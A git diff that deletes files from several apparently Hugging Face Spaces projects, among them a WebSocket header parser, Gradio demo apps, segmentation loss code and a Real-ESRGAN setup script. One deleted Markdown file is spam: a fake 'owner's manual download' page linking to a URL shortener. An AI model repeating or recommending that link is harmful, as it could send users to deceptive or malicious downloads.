-    return utils.compact(obj);
-};
diff --git a/spaces/fffiloni/controlnet-animation-doodle/node_modules/ws/lib/extension.js b/spaces/fffiloni/controlnet-animation-doodle/node_modules/ws/lib/extension.js
deleted file mode 100644
index 3d7895c1b0608d4bef7073a6acea9be39a4f8b74..0000000000000000000000000000000000000000
--- a/spaces/fffiloni/controlnet-animation-doodle/node_modules/ws/lib/extension.js
+++ /dev/null
@@ -1,203 +0,0 @@
-'use strict';
-
-const { tokenChars } = require('./validation');
-
-/**
- * Adds an offer to the map of extension offers or a parameter to the map of
- * parameters.
- *
- * @param {Object} dest The map of extension offers or parameters
- * @param {String} name The extension or parameter name
- * @param {(Object|Boolean|String)} elem The extension parameters or the
- *     parameter value
- * @private
- */
-function push(dest, name, elem) {
-  if (dest[name] === undefined) dest[name] = [elem];
-  else dest[name].push(elem);
-}
-
-/**
- * Parses the `Sec-WebSocket-Extensions` header into an object.
- *
- * @param {String} header The field value of the header
- * @return {Object} The parsed object
- * @public
- */
-function parse(header) {
-  const offers = Object.create(null);
-  let params = Object.create(null);
-  let mustUnescape = false;
-  let isEscaping = false;
-  let inQuotes = false;
-  let extensionName;
-  let paramName;
-  let start = -1;
-  let code = -1;
-  let end = -1;
-  let i = 0;
-
-  for (; i < header.length; i++) {
-    code = header.charCodeAt(i);
-
-    if (extensionName === undefined) {
-      if (end === -1 && tokenChars[code] === 1) {
-        if (start === -1) start = i;
-      } else if (
-        i !== 0 &&
-        (code === 0x20 /* ' ' */ || code === 0x09) /* '\t' */
-      ) {
-        if (end === -1 && start !== -1) end = i;
-      } else if (code === 0x3b /* ';' */ || code === 0x2c /* ',' */) {
-        if (start === -1) {
-          throw new SyntaxError(`Unexpected character at index ${i}`);
-        }
-
-        if (end === -1) end = i;
-        const name = header.slice(start, end);
-        if (code === 0x2c) {
-          push(offers, name, params);
-          params = Object.create(null);
-        } else {
-          extensionName = name;
-        }
-
-        start = end = -1;
-      } else {
-        throw new SyntaxError(`Unexpected character at index ${i}`);
-      }
-    } else if (paramName === undefined) {
-      if (end === -1 && tokenChars[code] === 1) {
-        if (start === -1) start = i;
-      } else if (code === 0x20 || code === 0x09) {
-        if (end === -1 && start !== -1) end = i;
-      } else if (code === 0x3b || code === 0x2c) {
-        if (start === -1) {
-          throw new SyntaxError(`Unexpected character at index ${i}`);
-        }
-
-        if (end === -1) end = i;
-        push(params, header.slice(start, end), true);
-        if (code === 0x2c) {
-          push(offers, extensionName, params);
-          params = Object.create(null);
-          extensionName = undefined;
-        }
-
-        start = end = -1;
-      } else if (code === 0x3d /* '=' */ && start !== -1 && end === -1) {
-        paramName = header.slice(start, i);
-        start = end = -1;
-      } else {
-        throw new SyntaxError(`Unexpected character at index ${i}`);
-      }
-    } else {
-      //
-      // The value of a quoted-string after unescaping must conform to the
-      // token ABNF, so only token characters are valid.
-      // Ref: https://tools.ietf.org/html/rfc6455#section-9.1
-      //
-      if (isEscaping) {
-        if (tokenChars[code] !== 1) {
-          throw new SyntaxError(`Unexpected character at index ${i}`);
-        }
-        if (start === -1) start = i;
-        else if (!mustUnescape) mustUnescape = true;
-        isEscaping = false;
-      } else if (inQuotes) {
-        if (tokenChars[code] === 1) {
-          if (start === -1) start = i;
-        } else if (code === 0x22 /* '"' */ && start !== -1) {
-          inQuotes = false;
-          end = i;
-        } else if (code === 0x5c /* '\' */) {
-          isEscaping = true;
-        } else {
-          throw new SyntaxError(`Unexpected character at index ${i}`);
-        }
-      } else if (code === 0x22 && header.charCodeAt(i - 1) === 0x3d) {
-        inQuotes = true;
-      } else if (end === -1 && tokenChars[code] === 1) {
-        if (start === -1) start = i;
-      } else if (start !== -1 && (code === 0x20 || code === 0x09)) {
-        if (end === -1) end = i;
-      } else if (code === 0x3b || code === 0x2c) {
-        if (start === -1) {
-          throw new SyntaxError(`Unexpected character at index ${i}`);
-        }
-
-        if (end === -1) end = i;
-        let value = header.slice(start, end);
-        if (mustUnescape) {
-          value = value.replace(/\\/g, '');
-          mustUnescape = false;
-        }
-        push(params, paramName, value);
-        if (code === 0x2c) {
-          push(offers, extensionName, params);
-          params = Object.create(null);
-          extensionName = undefined;
-        }
-
-        paramName = undefined;
-        start = end = -1;
-      } else {
-        throw new SyntaxError(`Unexpected character at index ${i}`);
-      }
-    }
-  }
-
-  if (start === -1 || inQuotes || code === 0x20 || code === 0x09) {
-    throw new SyntaxError('Unexpected end of input');
-  }
-
-  if (end === -1) end = i;
-  const token = header.slice(start, end);
-  if (extensionName === undefined) {
-    push(offers, token, params);
-  } else {
-    if (paramName === undefined) {
-      push(params, token, true);
-    } else if (mustUnescape) {
-      push(params, paramName, token.replace(/\\/g, ''));
-    } else {
-      push(params, paramName, token);
-    }
-    push(offers, extensionName, params);
-  }
-
-  return offers;
-}
-
-/**
- * Builds the `Sec-WebSocket-Extensions` header field value.
- *
- * @param {Object} extensions The map of extensions and parameters to format
- * @return {String} A string representing the given object
- * @public
- */
-function format(extensions) {
-  return Object.keys(extensions)
-    .map((extension) => {
-      let configurations = extensions[extension];
-      if (!Array.isArray(configurations)) configurations = [configurations];
-      return configurations
-        .map((params) => {
-          return [extension]
-            .concat(
-              Object.keys(params).map((k) => {
-                let values = params[k];
-                if (!Array.isArray(values)) values = [values];
-                return values
-                  .map((v) => (v === true ? k : `${k}=${v}`))
-                  .join('; ');
-              })
-            )
-            .join('; ');
-        })
-        .join(', ');
-    })
-    .join(', ');
-}
-
-module.exports = { format, parse };
diff --git a/spaces/fgbwyude/ChuanhuChatGPT/modules/overwrites.py b/spaces/fgbwyude/ChuanhuChatGPT/modules/overwrites.py
deleted file mode 100644
index bfcd4d01b7d7bec1184a8d09113933bca860530b..0000000000000000000000000000000000000000
--- a/spaces/fgbwyude/ChuanhuChatGPT/modules/overwrites.py
+++ /dev/null
@@ -1,56 +0,0 @@
-from __future__ import annotations
-import logging
-
-from llama_index import Prompt
-from typing import List, Tuple
-import mdtex2html
-
-from modules.presets import *
-from modules.llama_func import *
-
-
-def compact_text_chunks(self, prompt: Prompt, text_chunks: List[str]) -> List[str]:
-    logging.debug("Compacting text chunks...🚀🚀🚀")
-    combined_str = [c.strip() for c in text_chunks if c.strip()]
-    combined_str = [f"[{index+1}] {c}" for index, c in enumerate(combined_str)]
-    combined_str = "\n\n".join(combined_str)
-    # resplit based on self.max_chunk_overlap
-    text_splitter = self.get_text_splitter_given_prompt(prompt, 1, padding=1)
-    return text_splitter.split_text(combined_str)
-
-
-def postprocess(
-    self, y: List[Tuple[str | None, str | None]]
-) -> List[Tuple[str | None, str | None]]:
-    """
-    Parameters:
-        y: List of tuples representing the message and response pairs. Each message and response should be a string, which may be in Markdown format.
-    Returns:
-        List of tuples representing the message and response. Each message and response will be a string of HTML.
-    """
-    if y is None or y == []:
-        return []
-    user, bot = y[-1]
-    if not detect_converted_mark(user):
-        user = convert_asis(user)
-    if not detect_converted_mark(bot):
-        bot = convert_mdtext(bot)
-    y[-1] = (user, bot)
-    return y
-
-with open("./assets/custom.js", "r", encoding="utf-8") as f, open("./assets/Kelpy-Codos.js", "r", encoding="utf-8") as f2:
-    customJS = f.read()
-    kelpyCodos = f2.read()
-
-def reload_javascript():
-    print("Reloading javascript...")
-    js = f'<script>{customJS}</script><script>{kelpyCodos}</script>'
-    def template_response(*args, **kwargs):
-        res = GradioTemplateResponseOriginal(*args, **kwargs)
-        res.body = res.body.replace(b'</html>', f'{js}</html>'.encode("utf8"))
-        res.init_headers()
-        return res
-
-    gr.routes.templates.TemplateResponse = template_response
-
-GradioTemplateResponseOriginal = gr.routes.templates.TemplateResponse
\ No newline at end of file
diff --git a/spaces/fun-research/FC-CLIP/fcclip/modeling/pixel_decoder/ops/src/ms_deform_attn.h b/spaces/fun-research/FC-CLIP/fcclip/modeling/pixel_decoder/ops/src/ms_deform_attn.h
deleted file mode 100644
index 2f80a1b294c55b37d13bb3558ff7aeadba3b37de..0000000000000000000000000000000000000000
--- a/spaces/fun-research/FC-CLIP/fcclip/modeling/pixel_decoder/ops/src/ms_deform_attn.h
+++ /dev/null
@@ -1,67 +0,0 @@
-/*!
-**************************************************************************************************
-* Deformable DETR
-* Copyright (c) 2020 SenseTime. All Rights Reserved.
-* Licensed under the Apache License, Version 2.0 [see LICENSE for details]
-**************************************************************************************************
-* Modified from https://github.com/chengdazhi/Deformable-Convolution-V2-PyTorch/tree/pytorch_1.0.0
-**************************************************************************************************
-*/
-
-/*!
-* Copyright (c) Facebook, Inc. and its affiliates.
-* Modified by Bowen Cheng from https://github.com/fundamentalvision/Deformable-DETR
-*/
-
-#pragma once
-
-#include "cpu/ms_deform_attn_cpu.h"
-
-#ifdef WITH_CUDA
-#include "cuda/ms_deform_attn_cuda.h"
-#endif
-
-
-at::Tensor
-ms_deform_attn_forward(
-    const at::Tensor &value, 
-    const at::Tensor &spatial_shapes,
-    const at::Tensor &level_start_index,
-    const at::Tensor &sampling_loc,
-    const at::Tensor &attn_weight,
-    const int im2col_step)
-{
-    if (value.type().is_cuda())
-    {
-#ifdef WITH_CUDA
-        return ms_deform_attn_cuda_forward(
-            value, spatial_shapes, level_start_index, sampling_loc, attn_weight, im2col_step);
-#else
-        AT_ERROR("Not compiled with GPU support");
-#endif
-    }
-    AT_ERROR("Not implemented on the CPU");
-}
-
-std::vector<at::Tensor>
-ms_deform_attn_backward(
-    const at::Tensor &value, 
-    const at::Tensor &spatial_shapes,
-    const at::Tensor &level_start_index,
-    const at::Tensor &sampling_loc,
-    const at::Tensor &attn_weight,
-    const at::Tensor &grad_output,
-    const int im2col_step)
-{
-    if (value.type().is_cuda())
-    {
-#ifdef WITH_CUDA
-        return ms_deform_attn_cuda_backward(
-            value, spatial_shapes, level_start_index, sampling_loc, attn_weight, grad_output, im2col_step);
-#else
-        AT_ERROR("Not compiled with GPU support");
-#endif
-    }
-    AT_ERROR("Not implemented on the CPU");
-}
-
diff --git a/spaces/gaviego/mnist/app.py b/spaces/gaviego/mnist/app.py
deleted file mode 100644
index b37095e00d117696a02b5bb568e4e271cf5af369..0000000000000000000000000000000000000000
--- a/spaces/gaviego/mnist/app.py
+++ /dev/null
@@ -1,71 +0,0 @@
-import gradio as gr
-from PIL import Image
-import numpy as np
-import torch
-import torch.nn as nn
-from models import Net,NetConv
-
-net = torch.load('mnist.pth')
-net.eval()
-
-net_conv = torch.load('mnist_conv.pth')
-net_conv.eval()
-
-def predict(img):
-    arr = np.array(img) / 255  # Assuming img is in the range [0, 255]
-    arr = np.expand_dims(arr, axis=0)  # Add batch dimension
-    arr = torch.from_numpy(arr).float()  # Convert to PyTorch tensor
-    output = net(arr)
-    topk_values, topk_indices = torch.topk(output, 2)  # Get the top 2 classes
-    return [str(k) for k in topk_indices[0].tolist()]
-
-def predict_conv(img):
-    arr = np.array(img) / 255  # Assuming img is in the range [0, 255]
-    arr = np.expand_dims(arr, axis=0)  # Conv needs one more dimension
-    arr = np.expand_dims(arr, axis=0)  # Add batch dimension
-    arr = torch.from_numpy(arr).float()  # Convert to PyTorch tensor
-    output = net_conv(arr)
-    topk_values, topk_indices = torch.topk(output, 2)  # Get the top 2 classes
-    return [str(k) for k in topk_indices[0].tolist()]
-
-
-
-
-
-with gr.Blocks() as iface:
-    gr.Markdown("# MNIST + Gradio End to End")
-    gr.HTML("Shows end to end MNIST training with Gradio interface")
-    with gr.Tab("Linear Model"):
-        with gr.Row():
-            with gr.Column():
-                sp = gr.Sketchpad(shape=(28, 28))
-                with gr.Row():
-                    with gr.Column():
-                        pred_button = gr.Button("Predict")
-                    with gr.Column():
-                        clear_button = gr.Button("Clear")
-            with gr.Column():
-                label1 = gr.Label(label='1st Pred')
-                label2 = gr.Label(label='2nd Pred')
-    
-    with gr.Tab("Convolution Model"):
-        with gr.Row():
-            with gr.Column():
-                sp_conv = gr.Sketchpad(shape=(28, 28))
-                with gr.Row():
-                    with gr.Column():
-                        pred_conv_button = gr.Button("Predict")
-                    with gr.Column():
-                        clear_button_conv = gr.Button("Clear")
-            with gr.Column():
-                label1_conv = gr.Label(label='1st Pred')
-                label2_conv = gr.Label(label='2nd Pred')
-    def clear():
-        return ['','',None,'','',None]
-    pred_button.click(predict, inputs=sp, outputs=[label1,label2])
-    pred_conv_button.click(predict_conv, inputs=sp_conv, outputs=[label1_conv,label2_conv])
-    clear_button.click( lambda: ['','',None], None, [label1,label2,sp,], queue=False)
-    clear_button_conv.click( lambda: ['','',None], None, [label1_conv,label2_conv, sp_conv], queue=False)
-
-
-iface.launch()
\ No newline at end of file
diff --git a/spaces/georgefen/Face-Landmark-ControlNet/annotator/uniformer/configs/_base_/models/fcn_r50-d8.py b/spaces/georgefen/Face-Landmark-ControlNet/annotator/uniformer/configs/_base_/models/fcn_r50-d8.py
deleted file mode 100644
index 5e98f6cc918b6146fc6d613c6918e825ef1355c3..0000000000000000000000000000000000000000
--- a/spaces/georgefen/Face-Landmark-ControlNet/annotator/uniformer/configs/_base_/models/fcn_r50-d8.py
+++ /dev/null
@@ -1,45 +0,0 @@
-# model settings
-norm_cfg = dict(type='SyncBN', requires_grad=True)
-model = dict(
-    type='EncoderDecoder',
-    pretrained='open-mmlab://resnet50_v1c',
-    backbone=dict(
-        type='ResNetV1c',
-        depth=50,
-        num_stages=4,
-        out_indices=(0, 1, 2, 3),
-        dilations=(1, 1, 2, 4),
-        strides=(1, 2, 1, 1),
-        norm_cfg=norm_cfg,
-        norm_eval=False,
-        style='pytorch',
-        contract_dilation=True),
-    decode_head=dict(
-        type='FCNHead',
-        in_channels=2048,
-        in_index=3,
-        channels=512,
-        num_convs=2,
-        concat_input=True,
-        dropout_ratio=0.1,
-        num_classes=19,
-        norm_cfg=norm_cfg,
-        align_corners=False,
-        loss_decode=dict(
-            type='CrossEntropyLoss', use_sigmoid=False, loss_weight=1.0)),
-    auxiliary_head=dict(
-        type='FCNHead',
-        in_channels=1024,
-        in_index=2,
-        channels=256,
-        num_convs=1,
-        concat_input=False,
-        dropout_ratio=0.1,
-        num_classes=19,
-        norm_cfg=norm_cfg,
-        align_corners=False,
-        loss_decode=dict(
-            type='CrossEntropyLoss', use_sigmoid=False, loss_weight=0.4)),
-    # model training and testing settings
-    train_cfg=dict(),
-    test_cfg=dict(mode='whole'))
diff --git a/spaces/georgefen/Face-Landmark-ControlNet/annotator/uniformer/mmseg/models/losses/cross_entropy_loss.py b/spaces/georgefen/Face-Landmark-ControlNet/annotator/uniformer/mmseg/models/losses/cross_entropy_loss.py
deleted file mode 100644
index 42c0790c98616bb69621deed55547fc04c7392ef..0000000000000000000000000000000000000000
--- a/spaces/georgefen/Face-Landmark-ControlNet/annotator/uniformer/mmseg/models/losses/cross_entropy_loss.py
+++ /dev/null
@@ -1,198 +0,0 @@
-import torch
-import torch.nn as nn
-import torch.nn.functional as F
-
-from ..builder import LOSSES
-from .utils import get_class_weight, weight_reduce_loss
-
-
-def cross_entropy(pred,
-                  label,
-                  weight=None,
-                  class_weight=None,
-                  reduction='mean',
-                  avg_factor=None,
-                  ignore_index=-100):
-    """The wrapper function for :func:`F.cross_entropy`"""
-    # class_weight is a manual rescaling weight given to each class.
-    # If given, has to be a Tensor of size C element-wise losses
-    loss = F.cross_entropy(
-        pred,
-        label,
-        weight=class_weight,
-        reduction='none',
-        ignore_index=ignore_index)
-
-    # apply weights and do the reduction
-    if weight is not None:
-        weight = weight.float()
-    loss = weight_reduce_loss(
-        loss, weight=weight, reduction=reduction, avg_factor=avg_factor)
-
-    return loss
-
-
-def _expand_onehot_labels(labels, label_weights, target_shape, ignore_index):
-    """Expand onehot labels to match the size of prediction."""
-    bin_labels = labels.new_zeros(target_shape)
-    valid_mask = (labels >= 0) & (labels != ignore_index)
-    inds = torch.nonzero(valid_mask, as_tuple=True)
-
-    if inds[0].numel() > 0:
-        if labels.dim() == 3:
-            bin_labels[inds[0], labels[valid_mask], inds[1], inds[2]] = 1
-        else:
-            bin_labels[inds[0], labels[valid_mask]] = 1
-
-    valid_mask = valid_mask.unsqueeze(1).expand(target_shape).float()
-    if label_weights is None:
-        bin_label_weights = valid_mask
-    else:
-        bin_label_weights = label_weights.unsqueeze(1).expand(target_shape)
-        bin_label_weights *= valid_mask
-
-    return bin_labels, bin_label_weights
-
-
-def binary_cross_entropy(pred,
-                         label,
-                         weight=None,
-                         reduction='mean',
-                         avg_factor=None,
-                         class_weight=None,
-                         ignore_index=255):
-    """Calculate the binary CrossEntropy loss.
-
-    Args:
-        pred (torch.Tensor): The prediction with shape (N, 1).
-        label (torch.Tensor): The learning label of the prediction.
-        weight (torch.Tensor, optional): Sample-wise loss weight.
-        reduction (str, optional): The method used to reduce the loss.
-            Options are "none", "mean" and "sum".
-        avg_factor (int, optional): Average factor that is used to average
-            the loss. Defaults to None.
-        class_weight (list[float], optional): The weight for each class.
-        ignore_index (int | None): The label index to be ignored. Default: 255
-
-    Returns:
-        torch.Tensor: The calculated loss
-    """
-    if pred.dim() != label.dim():
-        assert (pred.dim() == 2 and label.dim() == 1) or (
-                pred.dim() == 4 and label.dim() == 3), \
-            'Only pred shape [N, C], label shape [N] or pred shape [N, C, ' \
-            'H, W], label shape [N, H, W] are supported'
-        label, weight = _expand_onehot_labels(label, weight, pred.shape,
-                                              ignore_index)
-
-    # weighted element-wise losses
-    if weight is not None:
-        weight = weight.float()
-    loss = F.binary_cross_entropy_with_logits(
-        pred, label.float(), pos_weight=class_weight, reduction='none')
-    # do the reduction for the weighted loss
-    loss = weight_reduce_loss(
-        loss, weight, reduction=reduction, avg_factor=avg_factor)
-
-    return loss
-
-
-def mask_cross_entropy(pred,
-                       target,
-                       label,
-                       reduction='mean',
-                       avg_factor=None,
-                       class_weight=None,
-                       ignore_index=None):
-    """Calculate the CrossEntropy loss for masks.
-
-    Args:
-        pred (torch.Tensor): The prediction with shape (N, C), C is the number
-            of classes.
-        target (torch.Tensor): The learning label of the prediction.
-        label (torch.Tensor): ``label`` indicates the class label of the mask'
-            corresponding object. This will be used to select the mask in the
-            of the class which the object belongs to when the mask prediction
-            if not class-agnostic.
-        reduction (str, optional): The method used to reduce the loss.
-            Options are "none", "mean" and "sum".
-        avg_factor (int, optional): Average factor that is used to average
-            the loss. Defaults to None.
-        class_weight (list[float], optional): The weight for each class.
-        ignore_index (None): Placeholder, to be consistent with other loss.
-            Default: None.
-
-    Returns:
-        torch.Tensor: The calculated loss
-    """
-    assert ignore_index is None, 'BCE loss does not support ignore_index'
-    # TODO: handle these two reserved arguments
-    assert reduction == 'mean' and avg_factor is None
-    num_rois = pred.size()[0]
-    inds = torch.arange(0, num_rois, dtype=torch.long, device=pred.device)
-    pred_slice = pred[inds, label].squeeze(1)
-    return F.binary_cross_entropy_with_logits(
-        pred_slice, target, weight=class_weight, reduction='mean')[None]
-
-
-@LOSSES.register_module()
-class CrossEntropyLoss(nn.Module):
-    """CrossEntropyLoss.
-
-    Args:
-        use_sigmoid (bool, optional): Whether the prediction uses sigmoid
-            of softmax. Defaults to False.
-        use_mask (bool, optional): Whether to use mask cross entropy loss.
-            Defaults to False.
-        reduction (str, optional): . Defaults to 'mean'.
-            Options are "none", "mean" and "sum".
-        class_weight (list[float] | str, optional): Weight of each class. If in
-            str format, read them from a file. Defaults to None.
-        loss_weight (float, optional): Weight of the loss. Defaults to 1.0.
-    """
-
-    def __init__(self,
-                 use_sigmoid=False,
-                 use_mask=False,
-                 reduction='mean',
-                 class_weight=None,
-                 loss_weight=1.0):
-        super(CrossEntropyLoss, self).__init__()
-        assert (use_sigmoid is False) or (use_mask is False)
-        self.use_sigmoid = use_sigmoid
-        self.use_mask = use_mask
-        self.reduction = reduction
-        self.loss_weight = loss_weight
-        self.class_weight = get_class_weight(class_weight)
-
-        if self.use_sigmoid:
-            self.cls_criterion = binary_cross_entropy
-        elif self.use_mask:
-            self.cls_criterion = mask_cross_entropy
-        else:
-            self.cls_criterion = cross_entropy
-
-    def forward(self,
-                cls_score,
-                label,
-                weight=None,
-                avg_factor=None,
-                reduction_override=None,
-                **kwargs):
-        """Forward function."""
-        assert reduction_override in (None, 'none', 'mean', 'sum')
-        reduction = (
-            reduction_override if reduction_override else self.reduction)
-        if self.class_weight is not None:
-            class_weight = cls_score.new_tensor(self.class_weight)
-        else:
-            class_weight = None
-        loss_cls = self.loss_weight * self.cls_criterion(
-            cls_score,
-            label,
-            weight,
-            class_weight=class_weight,
-            reduction=reduction,
-            avg_factor=avg_factor,
-            **kwargs)
-        return loss_cls
diff --git a/spaces/ghosthamlet/Write-Stories-Using-Bloom/README.md b/spaces/ghosthamlet/Write-Stories-Using-Bloom/README.md
deleted file mode 100644
index cc0fc2872ff7bb60c2df2521fc3b242bd7cdcbc9..0000000000000000000000000000000000000000
--- a/spaces/ghosthamlet/Write-Stories-Using-Bloom/README.md
+++ /dev/null
@@ -1,12 +0,0 @@
----
-title: Write Stories Using Bloom
-emoji: 🏢
-colorFrom: gray
-colorTo: pink
-sdk: gradio
-sdk_version: 3.0.26
-app_file: app.py
-pinned: false
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
diff --git a/spaces/gotiQspiryo/whisper-ui/examples/Landice Executive Owners Manual Download [NEW].md b/spaces/gotiQspiryo/whisper-ui/examples/Landice Executive Owners Manual Download [NEW].md
deleted file mode 100644
index 2597db3c4eab8f65b67ca8a86fd64982850332c0..0000000000000000000000000000000000000000
--- a/spaces/gotiQspiryo/whisper-ui/examples/Landice Executive Owners Manual Download [NEW].md	
+++ /dev/null
@@ -1,6 +0,0 @@
-<h2>Landice Executive Owner's Manual Download</h2><br /><p><b><b>Download Zip</b> &bull;&bull;&bull; <a href="https://urlgoal.com/2uyNoY">https://urlgoal.com/2uyNoY</a></b></p><br /><br />
-<br />
- aaccfb2cb3<br />
-<br />
-<br />
-<p></p>
diff --git a/spaces/guetLzy/Real-ESRGAN-Demo/setup.py b/spaces/guetLzy/Real-ESRGAN-Demo/setup.py
deleted file mode 100644
index c2b92e31d2db1aba50767f4f844540cfd53c609d..0000000000000000000000000000000000000000
--- a/spaces/guetLzy/Real-ESRGAN-Demo/setup.py
+++ /dev/null
@@ -1,107 +0,0 @@
-#!/usr/bin/env python
-
-from setuptools import find_packages, setup
-
-import os
-import subprocess
-import time
-
-version_file = 'realesrgan/version.py'
-
-
-def readme():
-    with open('README.md', encoding='utf-8') as f:
-        content = f.read()
-    return content
-
-
-def get_git_hash():
-
-    def _minimal_ext_cmd(cmd):
-        # construct minimal environment
-        env = {}
-        for k in ['SYSTEMROOT', 'PATH', 'HOME']:
-            v = os.environ.get(k)
-            if v is not None:
-                env[k] = v
-        # LANGUAGE is used on win32
-        env['LANGUAGE'] = 'C'
-        env['LANG'] = 'C'
-        env['LC_ALL'] = 'C'
-        out = subprocess.Popen(cmd, stdout=subprocess.PIPE, env=env).communicate()[0]
-        return out
-
-    try:
-        out = _minimal_ext_cmd(['git', 'rev-parse', 'HEAD'])
-        sha = out.strip().decode('ascii')
-    except OSError:
-        sha = 'unknown'
-
-    return sha
-
-
-def get_hash():
-    if os.path.exists('.git'):
-        sha = get_git_hash()[:7]
-    else:
-        sha = 'unknown'
-
-    return sha
-
-
-def write_version_py():
-    content = """# GENERATED VERSION FILE
-# TIME: {}
-__version__ = '{}'
-__gitsha__ = '{}'
-version_info = ({})
-"""
-    sha = get_hash()
-    with open('VERSION', 'r') as f:
-        SHORT_VERSION = f.read().strip()
-    VERSION_INFO = ', '.join([x if x.isdigit() else f'"{x}"' for x in SHORT_VERSION.split('.')])
-
-    version_file_str = content.format(time.asctime(), SHORT_VERSION, sha, VERSION_INFO)
-    with open(version_file, 'w') as f:
-        f.write(version_file_str)
-
-
-def get_version():
-    with open(version_file, 'r') as f:
-        exec(compile(f.read(), version_file, 'exec'))
-    return locals()['__version__']
-
-
-def get_requirements(filename='requirements.txt'):
-    here = os.path.dirname(os.path.realpath(__file__))
-    with open(os.path.join(here, filename), 'r') as f:
-        requires = [line.replace('\n', '') for line in f.readlines()]
-    return requires
-
-
-if __name__ == '__main__':
-    write_version_py()
-    setup(
-        name='realesrgan',
-        version=get_version(),
-        description='Real-ESRGAN aims at developing Practical Algorithms for General Image Restoration',
-        long_description=readme(),
-        long_description_content_type='text/markdown',
-        author='Xintao Wang',
-        author_email='xintao.wang@outlook.com',
-        keywords='computer vision, pytorch, image restoration, super-resolution, esrgan, real-esrgan',
-        url='https://github.com/xinntao/Real-ESRGAN',
-        include_package_data=True,
-        packages=find_packages(exclude=('options', 'datasets', 'experiments', 'results', 'tb_logger', 'wandb')),
-        classifiers=[
-            'Development Status :: 4 - Beta',
-            'License :: OSI Approved :: Apache Software License',
-            'Operating System :: OS Independent',
-            'Programming Language :: Python :: 3',
-            'Programming Language :: Python :: 3.7',
-            'Programming Language :: Python :: 3.8',
-        ],
-        license='BSD-3-Clause License',
-        setup_requires=['cython', 'numpy'],
-        install_requires=get_requirements(),
-        zip_safe=False)
diff --git a/spaces/gylleus/icongen/torch_utils/misc.py b/spaces/gylleus/icongen/torch_utils/misc.py
deleted file mode 100644
index 7829f4d9f168557ce8a9a6dec289aa964234cb8c..0000000000000000000000000000000000000000
--- a/spaces/gylleus/icongen/torch_utils/misc.py
+++ /dev/null
@@ -1,262 +0,0 @@
-# Copyright (c) 2021, NVIDIA CORPORATION.  All rights reserved.
-#
-# NVIDIA CORPORATION and its licensors retain all intellectual property
-# and proprietary rights in and to this software, related documentation
-# and any modifications thereto.  Any use, reproduction, disclosure or
-# distribution of this software and related documentation without an express
-# license agreement from NVIDIA CORPORATION is strictly prohibited.
-
-import re
-import contextlib
-import numpy as np
-import torch
-import warnings
-import dnnlib
-
-#----------------------------------------------------------------------------
-# Cached construction of constant tensors. Avoids CPU=>GPU copy when the
-# same constant is used multiple times.
-
-_constant_cache = dict()
-
-def constant(value, shape=None, dtype=None, device=None, memory_format=None):
-    value = np.asarray(value)
-    if shape is not None:
-        shape = tuple(shape)
-    if dtype is None:
-        dtype = torch.get_default_dtype()
-    if device is None:
-        device = torch.device('cpu')
-    if memory_format is None:
-        memory_format = torch.contiguous_format
-
-    key = (value.shape, value.dtype, value.tobytes(), shape, dtype, device, memory_format)
-    tensor = _constant_cache.get(key, None)
-    if tensor is None:
-        tensor = torch.as_tensor(value.copy(), dtype=dtype, device=device)
-        if shape is not None:
-            tensor, _ = torch.broadcast_tensors(tensor, torch.empty(shape))
-        tensor = tensor.contiguous(memory_format=memory_format)
-        _constant_cache[key] = tensor
-    return tensor
-
-#----------------------------------------------------------------------------
-# Replace NaN/Inf with specified numerical values.
-
-try:
-    nan_to_num = torch.nan_to_num # 1.8.0a0
-except AttributeError:
-    def nan_to_num(input, nan=0.0, posinf=None, neginf=None, *, out=None): # pylint: disable=redefined-builtin
-        assert isinstance(input, torch.Tensor)
-        if posinf is None:
-            posinf = torch.finfo(input.dtype).max
-        if neginf is None:
-            neginf = torch.finfo(input.dtype).min
-        assert nan == 0
-        return torch.clamp(input.unsqueeze(0).nansum(0), min=neginf, max=posinf, out=out)
-
-#----------------------------------------------------------------------------
-# Symbolic assert.
-
-try:
-    symbolic_assert = torch._assert # 1.8.0a0 # pylint: disable=protected-access
-except AttributeError:
-    symbolic_assert = torch.Assert # 1.7.0
-
-#----------------------------------------------------------------------------
-# Context manager to suppress known warnings in torch.jit.trace().
-
-class suppress_tracer_warnings(warnings.catch_warnings):
-    def __enter__(self):
-        super().__enter__()
-        warnings.simplefilter('ignore', category=torch.jit.TracerWarning)
-        return self
-
-#----------------------------------------------------------------------------
-# Assert that the shape of a tensor matches the given list of integers.
-# None indicates that the size of a dimension is allowed to vary.
-# Performs symbolic assertion when used in torch.jit.trace().
-
-def assert_shape(tensor, ref_shape):
-    if tensor.ndim != len(ref_shape):
-        raise AssertionError(f'Wrong number of dimensions: got {tensor.ndim}, expected {len(ref_shape)}')
-    for idx, (size, ref_size) in enumerate(zip(tensor.shape, ref_shape)):
-        if ref_size is None:
-            pass
-        elif isinstance(ref_size, torch.Tensor):
-            with suppress_tracer_warnings(): # as_tensor results are registered as constants
-                symbolic_assert(torch.equal(torch.as_tensor(size), ref_size), f'Wrong size for dimension {idx}')
-        elif isinstance(size, torch.Tensor):
-            with suppress_tracer_warnings(): # as_tensor results are registered as constants
-                symbolic_assert(torch.equal(size, torch.as_tensor(ref_size)), f'Wrong size for dimension {idx}: expected {ref_size}')
-        elif size != ref_size:
-            raise AssertionError(f'Wrong size for dimension {idx}: got {size}, expected {ref_size}')
-
-#----------------------------------------------------------------------------
-# Function decorator that calls torch.autograd.profiler.record_function().
-
-def profiled_function(fn):
-    def decorator(*args, **kwargs):
-        with torch.autograd.profiler.record_function(fn.__name__):
-            return fn(*args, **kwargs)
-    decorator.__name__ = fn.__name__
-    return decorator
-
-#----------------------------------------------------------------------------
-# Sampler for torch.utils.data.DataLoader that loops over the dataset
-# indefinitely, shuffling items as it goes.
-
-class InfiniteSampler(torch.utils.data.Sampler):
-    def __init__(self, dataset, rank=0, num_replicas=1, shuffle=True, seed=0, window_size=0.5):
-        assert len(dataset) > 0
-        assert num_replicas > 0
-        assert 0 <= rank < num_replicas
-        assert 0 <= window_size <= 1
-        super().__init__(dataset)
-        self.dataset = dataset
-        self.rank = rank
-        self.num_replicas = num_replicas
-        self.shuffle = shuffle
-        self.seed = seed
-        self.window_size = window_size
-
-    def __iter__(self):
-        order = np.arange(len(self.dataset))
-        rnd = None
-        window = 0
-        if self.shuffle:
-            rnd = np.random.RandomState(self.seed)
-            rnd.shuffle(order)
-            window = int(np.rint(order.size * self.window_size))
-
-        idx = 0
-        while True:
-            i = idx % order.size
-            if idx % self.num_replicas == self.rank:
-                yield order[i]
-            if window >= 2:
-                j = (i - rnd.randint(window)) % order.size
-                order[i], order[j] = order[j], order[i]
-            idx += 1
-
-#----------------------------------------------------------------------------
